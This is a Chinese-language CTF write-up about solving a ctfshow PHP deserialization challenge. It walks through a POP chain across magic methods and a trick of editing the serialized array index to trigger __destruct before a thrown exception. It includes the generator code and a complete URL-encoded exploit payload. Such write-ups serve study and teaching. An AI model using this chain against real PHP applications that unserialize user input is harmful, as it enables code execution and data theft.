因为一个 __destruct函数的GC回收机制 没学过,所以没解出来。
进入题目,给了源码:
- include("./HappyYear.php");
- class one {
- public $object;
-
- public function MeMeMe() {
- array_walk($this, function($fn, $prev){
- if ($fn[0] === "Happy_func" && $prev === "year_parm") {
- global $talk;
- echo "$talk"."";
- global $flag;
- echo $flag;
- }
- });
- }
-
-
- public function __destruct() {
- @$this->object->add();
- }
-
-
- public function __toString() {
- return $this->object->string;
- }
- }
-
-
- class second {
- protected $filename;
-
-
- protected function addMe() {
- return "Wow you have sovled".$this->filename;
- }
-
-
- public function __call($func, $args) {
- call_user_func([$this, $func."Me"], $args);
- }
- }
-
-
- class third {
- private $string;
-
-
- public function __construct($string) {
- $this->string = $string;
- }
-
-
- public function __get($name) {
- $var = $this->$name;
- $var[$name]();
- }
- }
-
-
- if (isset($_GET["ctfshow"])) {
- $a=unserialize($_GET['ctfshow']);
- throw new Exception("高一新生报道");
- } else {
- highlight_file(__FILE__);
- }
要输出flag,就要调用方法MeMeMe()
一眼看过去,魔术方法__get里面的$var[$name]();都可控,可以利用 数组调用类中方法
关于数组调用类中的方法,再给出几个详细的例子,也是算学得更精了:
##例子1
- error_reporting(0);
-
- class one{
- public function test()
- {
- echo "123";
- }
- }
- $a=array(one,test);
- $a();
##例子2
还有一种是形似题目这种调用数组名的:
可以从调试窗口看到得到清晰的划分。
输出:
123
接下来就是触发各类魔方方法了
可以看之前的一篇文章
我这里就把链子理一下:
one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe
参考:
https://www.jianshu.com/p/d73b3ca418b0
- class one{
- public function __destruct(){
- echo "__destruct";
- }
- }
-
- $a = new one();
-
- throw new Exception("高一新生报道");
解决方法:
- class one{
- public $string;
- public function __destruct(){
- echo "__destruct";
- }
- }
- $a=new one();
- $b=array($a,NULL);
- echo serialize($b);
以上代码序列化的结果:
a:2:{i:0;O:3:"one":0:{}i:1;N;}
把后面的i:1改成i:0,达到提前销毁对象的目的,从而执行魔术方法__destruct
- /**
- * @Author: F10wers_13eiCheng
- * @Date: 2022-02-01 11:25:02
- * @Last Modified by: F10wers_13eiCheng
- * @Last Modified time: 2022-02-07 15:08:18
- */
- include("./HappyYear.php");
-
- class one {
- public $year_parm=array("Happy_func");
- public $object;
-
-
- public function MeMeMe() {
- array_walk($this, function($fn, $prev){
- if ($fn[0] === "Happy_func" && $prev === "year_parm") {
- global $talk;
- echo "$talk"."";
- global $flag;
- echo $flag;
- }
- });
- }
-
- public function __destruct() {
- @$this->object->add();
- }
-
- public function __toString() {
- return $this->object->string;
- }
- }
-
- class second {
- public $filename;
-
- protected function addMe() {
- return "Wow you have sovled".$this->filename;
- }
-
- public function __call($func, $args) {
- call_user_func([$this, $func."Me"], $args);
- }
- }
-
- class third {
- private $string;
-
- public function __construct($string) {
- $this->string = $string;
- }
-
- public function __get($name) {
- $var = $this->$name;
- $var[$name]();
- }
- }
-
- $a=new one();
- $a->object=new second();
- $a->object->filename=new one();
- $a->object->filename->object=new third(array("string"=>[new one(),MeMeMe]));
- $b = array($a,NULL);
- echo urlencode(serialize($b));
生成的payload:
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D
标注颜色的是由1改成0,达到提前销毁变量触发__destruct的目的